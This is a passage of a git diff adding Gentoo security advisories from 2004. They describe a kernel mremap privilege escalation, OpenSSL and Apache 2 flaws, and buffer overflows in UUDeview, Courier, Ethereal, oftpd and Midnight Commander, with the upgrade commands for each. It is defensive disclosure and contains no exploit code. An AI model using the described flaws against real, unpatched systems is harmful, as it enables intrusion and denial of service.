+      <vulnerable range="lt">2.4.22-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/grsec-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24.1.9.13-r1</unaffected>
+      <vulnerable range="lt">2.4.24.1.9.13-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre7-r2</unaffected>
+      <vulnerable range="lt">2.4.25_pre7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r1</unaffected>
+      <vulnerable range="lt">2.4.24-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.2_p3-r1</unaffected>
+      <vulnerable range="lt">2.6.2_p3-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24_p0-r1</unaffected>
+      <vulnerable range="lt">2.4.24_p0-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ia64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r1</unaffected>
+      <vulnerable range="lt">2.4.24-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-prepatch-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre6-r1</unaffected>
+      <vulnerable range="lt">2.4.25_pre6-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_rc4</unaffected>
+      <vulnerable range="lt">2.4.25_rc4</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.3_rc1-r1</unaffected>
+      <vulnerable range="lt">2.6.3_rc1-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/openmosix-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r4</unaffected>
+      <vulnerable range="lt">2.4.22-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/pac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r3</unaffected>
+      <vulnerable range="lt">2.4.23-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/planet-ccrma-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r5</unaffected>
+      <vulnerable range="lt">2.4.21-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.3_rc1-r1</unaffected>
+      <vulnerable range="lt">2.6.3_rc1-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r1</unaffected>
+      <vulnerable range="lt">2.4.24-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources-benh" auto="yes" arch="*">
+      <unaffected range="ge">2.4.22-r5</unaffected>
+      <vulnerable range="lt">2.4.22-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources-crypto" auto="yes" arch="*">
+      <unaffected range="ge">2.4.20-r3</unaffected>
+      <vulnerable range="lt">2.4.20-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/ppc-sources-dev" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r2</unaffected>
+      <vulnerable range="lt">2.4.24-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/selinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r2</unaffected>
+      <vulnerable range="lt">2.4.24-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.3_rc1</unaffected>
+      <vulnerable range="lt">2.6.3_rc1</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r2</unaffected>
+      <vulnerable range="lt">2.4.24-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.24-r1</unaffected>
+      <unaffected range="rge">2.4.26</unaffected>
+      <unaffected range="ge">2.6.3-r1</unaffected>
+      <vulnerable range="lt">2.6.3-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-prepatch-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_rc4</unaffected>
+      <vulnerable range="lt">2.4.25_rc4</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25</unaffected>
+      <vulnerable range="lt">2.4.25</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="eq">2.4.23-r2</unaffected>
+      <unaffected range="ge">2.6.2-r1</unaffected>
+      <vulnerable range="lt">2.6.2-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/wolk-sources" auto="yes" arch="*">
+      <unaffected range="eq">4.9-r4</unaffected>
+      <unaffected range="ge">4.10_pre7-r3</unaffected>
+      <vulnerable range="lt">4.10_pre7-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/xfs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r2</unaffected>
+      <vulnerable range="lt">2.4.24-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for memory management in a working
+    system - to allow this, processes are allowed to allocate and
+    unallocate memory.
+    </p>
+  </background>
+  <description>
+    <p>
+    The memory subsystem allows for shrinking, growing, and moving of
+    chunks of memory along any of the allocated memory areas which the
+    kernel posesses.
+    </p>
+    <p>
+    To accomplish this, the do_mremap code calls the do_munmap() kernel
+    function to remove any old memory mappings in the new location - but,
+    the code doesn't check the return value of the do_munmap() function
+    which may fail if the maximum number of available virtual memory area
+    descriptors has been exceeded.
+    </p>
+    <p>
+    Due to the missing return value check after trying to unmap the middle
+    of the first memory area, the corresponding page table entries from the
+    second new area are inserted into the page table locations described by
+    the first old one, thus they are subject to page protection flags of
+    the first area. As a result, arbitrary code can be executed.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Arbitrary code with normal non-super-user privelerges may be able to
+    exploit this vulnerability and may disrupt the operation of other parts
+    of the kernel memory management subroutines finally leading to
+    unexpected behavior.
+    </p>
+    <p>
+    Since no special privileges are required to use the mremap() and
+    mummap() system calls any process may misuse this unexpected behavior
+    to disrupt the kernel memory management subsystem. Proper exploitation
+    of this vulnerability may lead to local privilege escalation allowing
+    for the execution of arbitrary code with kernel level root access.
+    </p>
+    <p>
+    Proof-of-concept exploit code has been created and successfully tested,
+    permitting root escalation on vulnerable systems. As a result, all
+    users should upgrade their kernels to new or patched versions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users who are unable to upgrade their kernels may attempt to use
+    "sysctl -w vm.max_map_count=1000000", however, this is a temporary fix
+    which only solves the problem by increasing the number of memory areas
+    that can be created by each process. Because of the static nature of
+    this workaround, it is not recommended and users are urged to upgrade
+    their systems to the latest avaiable patched sources.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for
+    their system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favourite-sources
+    # emerge your-favourite-sources
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would do normally.
+    
+    # # IF YOUR KERNEL IS MARKED as &quot;remerge required!&quot; THEN
+    # # YOU SHOULD UPDATE YOUR KERNEL EVEN IF PORTAGE
+    # # REPORTS THAT THE SAME VERSION IS INSTALLED.</code>
+  </resolution>
+  <references>
+    <uri link="http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt">Advisory released by iSEC</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0077">CVE-2004-0077</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat,  2 Apr 2005 12:59:08 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-03.xml b/xml/htdocs/security/en/glsa/glsa-200403-03.xml
new file mode 100644
index 00000000..9088df95
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-03.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-03">
+  <title>Multiple OpenSSL Vulnerabilities</title>
+  <synopsis>
+    Three vulnerabilities have been found in OpenSSL via a commercial test
+    suite for the TLS protocol developed by Codenomicon Ltd.
+  </synopsis>
+  <product type="ebuild">OpenSSL</product>
+  <announced>March 17, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>44941</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.7d</unaffected>
+      <unaffected range="eq">0.9.6m</unaffected>
+      <vulnerable range="le">0.9.7c</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The OpenSSL Project is a collaborative effort to develop a robust,
+    commercial-grade, full-featured, and Open Source toolkit implementing
+    the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS
+    v1) protocols as well as a full-strength general purpose cryptography
+    library.
+    </p>
+  </background>
+  <description>
+    <ol>
+    <li>
+    Testing performed by the OpenSSL group using the Codenomicon TLS Test
+    Tool uncovered a null-pointer assignment in the do_change_cipher_spec()
+    function. A remote attacker could perform a carefully crafted SSL/TLS
+    handshake against a server that used the OpenSSL library in such a way
+    as to cause OpenSSL to crash. Depending on the application this could
+    lead to a denial of service. All versions of OpenSSL from 0.9.6c to
+    0.9.6l inclusive and from 0.9.7a to 0.9.7c inclusive are affected by
+    this issue.
+    </li>
+    <li>
+    A flaw has been discovered in SSL/TLS handshaking code when using
+    Kerberos ciphersuites. A remote attacker could perform a carefully
+    crafted SSL/TLS handshake against a server configured to use Kerberos
+    ciphersuites in such a way as to cause OpenSSL to crash. Most
+    applications have no ability to use Kerberos cipher suites and will
+    therefore be unaffected. Versions 0.9.7a, 0.9.7b, and 0.9.7c of OpenSSL
+    are affected by this issue.
+    </li>
+    <li>
+    Testing performed by the OpenSSL group using the Codenomicon TLS Test
+    Tool uncovered a bug in older versions of OpenSSL 0.9.6 that can lead
+    to a Denial of Service attack (infinite loop). This issue was traced to
+    a fix that was added to OpenSSL 0.9.6d some time ago. This issue will
+    affect vendors that ship older versions of OpenSSL with backported
+    security patches.
+    </li>
+    </ol>
+  </description>
+  <impact type="normal">
+    <p>
+    Although there are no public exploits known for bug, users are
+    recommended to upgrade to ensure the security of their infrastructure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no immediate workaround; a software upgrade is required. The
+    vulnerable function in the code has been rewritten.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users are recommened to upgrade openssl to either 0.9.7d or 0.9.6m:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv &quot;&gt;=dev-libs/openssl-0.9.7d&quot;
+    # emerge &quot;&gt;=dev-libs/openssl-0.9.7d&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0079">CVE-2004-0079</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0081">CVE-2004-0081</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0112">CVE-2004-0112</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:54:03 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-04.xml b/xml/htdocs/security/en/glsa/glsa-200403-04.xml
new file mode 100644
index 00000000..c6a9d9d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-04.xml
@@ -0,0 +1,113 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-04">
+  <title>Multiple security vulnerabilities in Apache 2</title>
+  <synopsis>
+    A memory leak in mod_ssl allows a remote denial of service attack against
+    an SSL-enabled server via plain HTTP requests. Another flaw was found when
+    arbitrary client-supplied strings can be written to the error log, allowing
+    the exploit of certain terminal emulators. A third flaw exists with the
+    mod_disk_cache module.
+  </synopsis>
+  <product type="ebuild">Apache</product>
+  <announced>March 22, 2004</announced>
+  <revised>December 30, 2007: 03</revised>
+  <bug>45206</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="eq">1.3*</unaffected>
+      <unaffected range="ge">2.0.49</unaffected>
+      <vulnerable range="le">2.0.48</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP Server Project is an effort to develop and maintain an
+    open-source HTTP server for modern operating systems. The goal of this
+    project is to provide a secure, efficient and extensible server that
+    provides services in tune with the current HTTP standards.
+    </p>
+  </background>
+  <description>
+    <p>
+    Three vulnerabilities were found:
+    </p>
+    <ol>
+    <li>
+    A memory leak in ssl_engine_io.c for mod_ssl in Apache 2.0.48 and below
+    allows remote attackers to cause a denial of service attack via plain
+    HTTP requests to the SSL port of an SSL-enabled server.
+    </li>
+    <li>
+    Apache fails to filter terminal escape sequences from error logs that
+    begin with the ASCII (0x1B) sequence and are followed by a  series of
+    arguments. If a remote attacker could inject escape sequences into an
+    Apache error log, the attacker could take advantages of weaknesses in
+    various terminal emulators, launching attacks against remote users
+    including further denial of service attacks, file modification, and the
+    execution of arbitrary commands.
+    </li>
+    <li>
+    The Apache mod_disk_cache has been found to be vulnerable to a weakness
+    that allows attackers to gain access to authentication credentials
+    through the issue of caching HTTP hop-by-hop headers which would
+    contain plaintext user passwords. There is no available resolution for
+    this issue yet.
+    </li>
+    </ol>
+  </description>
+  <impact type="normal">
+    <p>
+    No special privileges are required for these vulnerabilities. As a
+    result, all users are recommended to upgrade their Apache
+    installations.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no immediate workaround; a software upgrade is required. There
+    is no workaround for the mod_disk_cache issue; users are recommended to
+    disable the feature on their servers until a patched version is
+    released.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are urged to upgrade to Apache 2.0.49:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv &quot;&gt;=www-servers/apache-2.0.49&quot;
+    # emerge &quot;&gt;=www-servers/apache-2.0.49&quot;
+    
+    # ** IMPORTANT **
+    
+    # If you are migrating from Apache 2.0.48-r1 or earlier versions,
+    # it is important that the following directories are removed.
+    
+    # The following commands should cause no data loss since these
+    # are symbolic links.
+    
+    # rm /etc/apache2/lib /etc/apache2/logs /etc/apache2/modules
+    # rm /etc/apache2/modules
+    
+    # ** ** ** ** **
+    
+    # ** ALSO NOTE **
+    
+    # Users who use mod_disk_cache should edit their Apache
+    # configuration and disable mod_disk_cache.</code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/9933/info/">Apache mod_disk_cache authentication storage weakness vulnerability</uri>
+    <uri link="http://www.apache.org/dist/httpd/Announcement2.html">Apache HTTP Server 2.0.49 Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0113">CVE-2004-0113</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:52:59 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-05.xml b/xml/htdocs/security/en/glsa/glsa-200403-05.xml
new file mode 100644
index 00000000..4f60a180
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-05.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-05">
+  <title>UUDeview MIME Buffer Overflow</title>
+  <synopsis>
+    A specially-crafted MIME file (.mim, .uue, .uu, .b64, .bhx, .hqx, and .xxe
+    extensions) may cause UUDeview to crash or execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">UUDeview</product>
+  <announced>March 26, 2004</announced>
+  <revised>March 26, 2004: 01</revised>
+  <bug>44859</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/uudeview" auto="yes" arch="*">
+      <unaffected range="ge">0.5.20</unaffected>
+      <vulnerable range="lt">0.5.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    UUDeview is a program which is used to transmit binary files over the
+    Internet in a text-only format. It is commonly used for email and Usenet
+    attachments. It supports multiple encoding formats, including Base64,
+    BinHex and UUEncoding.
+    </p>
+  </background>
+  <description>
+    <p>
+    By decoding a MIME archive with excessively long strings for various
+    parameters, it is possible to crash UUDeview, or cause it to execute
+    arbitrary code.
+    </p>
+    <p>
+    This vulnerability was originally reported by iDEFENSE as part of a WinZip
+    advisory [ Reference: 1 ].
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a specially-crafted MIME file and send it via
+    email. When recipient decodes the file, UUDeview may execute arbitrary code
+    which is embedded in the MIME file, thus granting the attacker access to
+    the recipient's account.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. As a result, a software upgrade
+    is required and users should upgrade to uudeview 0.5.20.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to uudeview 0.5.20:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv ">=app-text/uudeview-0.5.20"
+    # emerge ">=app-text/uudeview-0.5.20"
+    </code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=76&amp;type=vulnerabilities">iDEFENSE advisory</uri>
+    <uri link="http://www.securityfocus.com/bid/9758">SecurityFocus advisory</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-06.xml b/xml/htdocs/security/en/glsa/glsa-200403-06.xml
new file mode 100644
index 00000000..7dfad640
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-06.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-06">
+  <title>Multiple remote buffer overflow vulnerabilities in Courier</title>
+  <synopsis>
+    Remote buffer overflow vulnerabilites have been found in Courier-IMAP and
+    Courier MTA. These exploits may allow the execution of abritrary code,
+    allowing unauthorized access to a vulnerable system. 
+  </synopsis>
+  <product type="ebuild">Courier</product>
+  <announced>March 26, 2004</announced>
+  <revised>March 26, 2004: 01</revised>
+  <bug>45584</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-mail/courier-imap" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+    <package name="mail-mta/courier" auto="yes" arch="*">
+      <unaffected range="ge">0.45</unaffected>
+      <vulnerable range="lt">0.45</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Courier MTA is a multiprotocol mail server suite that provides webmail,
+    mailing lists, IMAP, and POP3 services. Courier-IMAP is a standalone server
+    that gives IMAP access to local mailboxes.
+    </p>
+  </background>
+  <description>
+    <p>
+    The vulnerabilities have been found in the 'SHIFT_JIS' converter in
+    'shiftjis.c' and 'ISO2022JP' converter in 'so2022jp.c'. An attacker may
+    supply Unicode characters that exceed BMP (Basic Multilingual Plane) range,
+    causing an overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker without privileges may exploit this vulnerability remotely, allowing arbitrary code to be executed in order to gain unauthorized access. 
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    While a workaround is not currently known for this issue, all users are
+    advised to upgrade to the latest version of the affected packages.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to current versions of the affected packages:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-mail/courier-imap-3.0.0"
+    # emerge ">=net-mail/courier-imap-3.0.0"
+
+    # ** Or; depending on your installation... **
+
+    # emerge -pv ">=mail-mta/courier-0.45"
+    # emerge ">=mail-mta/courier-0.45"
+    </code>
+  </resolution>
+  <references>
+    <uri link="http://www.securityfocus.com/bid/9845">Courier Multiple Remote Buffer Overflow Vulnerabilities</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0224">CAN-2004-0224</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-07.xml b/xml/htdocs/security/en/glsa/glsa-200403-07.xml
new file mode 100644
index 00000000..bab50d0c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-07.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-07">
+  <title>Multiple remote overflows and vulnerabilities in Ethereal</title>
+  <synopsis>
+    Mulitple overflows and vulnerabilities exist in Ethereal which may allow an
+    attacker to crash the program or run arbitrary code.
+  </synopsis>
+  <product type="ebuild">ethereal</product>
+  <announced>March 28, 2004</announced>
+  <revised>March 28, 2004: 01</revised>
+  <bug>45543</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.3</unaffected>
+      <vulnerable range="le">0.10.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Quote from http://www.ethereal.com
+    </p>
+    <p>
+    &quot;Ethereal is used by network professionals around the world for
+    troubleshooting, analysis, software and protocol development, and
+    education. It has all of the standard features you would expect in a
+    protocol analyzer, and several features not seen in any other product. Its
+    open source license allows talented experts in the networking community to
+    add enhancements. It runs on all popular computing platforms, including
+    Unix, Linux, and Windows.&quot;
+    </p>
+  </background>
+  <description>
+    <p>There are multiple vulnerabilities in versions of Ethereal earlier than 0.10.3, including:</p>
+    <ul>
+	<li>Thirteen buffer overflows in the following protocol dissectors: NetFlow, IGAP, EIGRP, PGM, IrDA, BGP, ISUP, and TCAP.</li>
+      	<li>A zero-length Presentation protocol selector could make Ethereal crash.</li>
+     	<li>A vulnerability in the RADIUS packet dissector which may crash ethereal.</li>
+      	<li>A corrupt color filter file could cause a segmentation fault.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    These vulnerabilities may cause Ethereal to crash or may allow an attacker
+    to run arbitrary code on the user's computer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    While a workaround is not currently known for this issue, all users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the current version of the affected package:
+    </p>
+    <code>

+    # emerge sync

+    

+    # emerge -pv ">=net-analyzer/ethereal-0.10.3"

+    # emerge ">=net-analyzer/ethereal-0.10.3"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00013.html">Multiple security problems in Ethereal 0.10.2</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0176">CAN-2004-0176</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0365">CAN-2004-0365</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0367">CAN-2004-0367</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-08.xml b/xml/htdocs/security/en/glsa/glsa-200403-08.xml
new file mode 100644
index 00000000..3a7f2c7a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-08.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-08">
+  <title>oftpd DoS vulnerability</title>
+  <synopsis>
+    A remotely-exploitable overflow exists in oftpd, allowing an attacker to
+    crash the oftpd daemon.
+  </synopsis>
+  <product type="ebuild">oftpd</product>
+  <announced>March 29, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>45738</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/oftpd" auto="yes" arch="*">
+      <unaffected range="ge">0.3.7</unaffected>
+      <vulnerable range="le">0.3.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Quote from <uri
+    link="http://www.time-travellers.org/oftpd/">http://www.time-travellers
+    .org/oftpd/</uri>
+    </p>
+    <p>
+    "oftpd is designed to be as secure as an anonymous FTP server can
+    possibly be. It runs as non-root for most of the time, and uses the
+    Unix chroot() command to hide most of the systems directories from
+    external users - they cannot change into them even if the server is
+    totally compromised! It contains its own directory change code, so that
+    it can run efficiently as a threaded server, and its own directory
+    listing code (most FTP servers execute the system "ls" command to list
+    files)."
+    </p>
+  </background>
+  <description>
+    <p>
+    Issuing a port command with a number higher than 255 causes the server
+    to crash. The port command may be issued before any authentication
+    takes place, meaning the attacker does not need to know a valid
+    username and password in order to exploit this vulnerability.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    This exploit causes a denial of service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    While a workaround is not currently known for this issue, all users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the current version of the affected
+    package:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-ftp/oftpd-0.3.7&quot;
+    # emerge &quot;&gt;=net-ftp/oftpd-0.3.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.time-travellers.org/oftpd/oftpd-dos.html">osftpd DoS Vulnerability</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0376">CVE-2004-0376</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 22 May 2006 05:52:22 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-09.xml b/xml/htdocs/security/en/glsa/glsa-200403-09.xml
new file mode 100644
index 00000000..ebf4ff60
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-09.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-09">
+  <title>Buffer overflow in Midnight Commander</title>
+  <synopsis>
+    A remotely-exploitable buffer overflow in Midnight Commander allows
+    arbitrary code to be run on a user's computer
+  </synopsis>
+  <product type="ebuild">mc</product>
+  <announced>March 29, 2004</announced>
+  <revised>March 29, 2004: 01</revised>
+  <bug>45957</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-misc/mc" auto="yes" arch="*">
+      <unaffected range="ge">4.6.0-r5</unaffected>
+      <vulnerable range="le">4.6.0-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Midnight Commander is a visual file manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    A stack-based buffer overflow has been found in Midnight Commander's
+    virtual filesystem.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This overflow allows an attacker to run arbitrary code on the user's
+    computer during the symlink conversion process.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    While a workaround is not currently known for this issue, all users are
+    advised to upgrade to the latest version of the affected package.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the current version of the affected package:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv ">=app-misc/mc-4.6.0-r5"
+    # emerge ">=app-misc/mc-4.6.0-r5"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-1023">CAN-2003-1023</uri>
+  </references>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200403-10.xml b/xml/htdocs/security/en/glsa/glsa-200403-10.xml
new file mode 100644
index 00000000..3459fc88
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200403-10.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200403-10">
+  <title>Fetchmail 6.2.5 fixes a remote DoS</title>
+  <synopsis>
+    Fetchmail versions 6.2.4 and earlier can be crashed by sending a
+    specially-crafted email to a fetchmail user.
+  </synopsis>
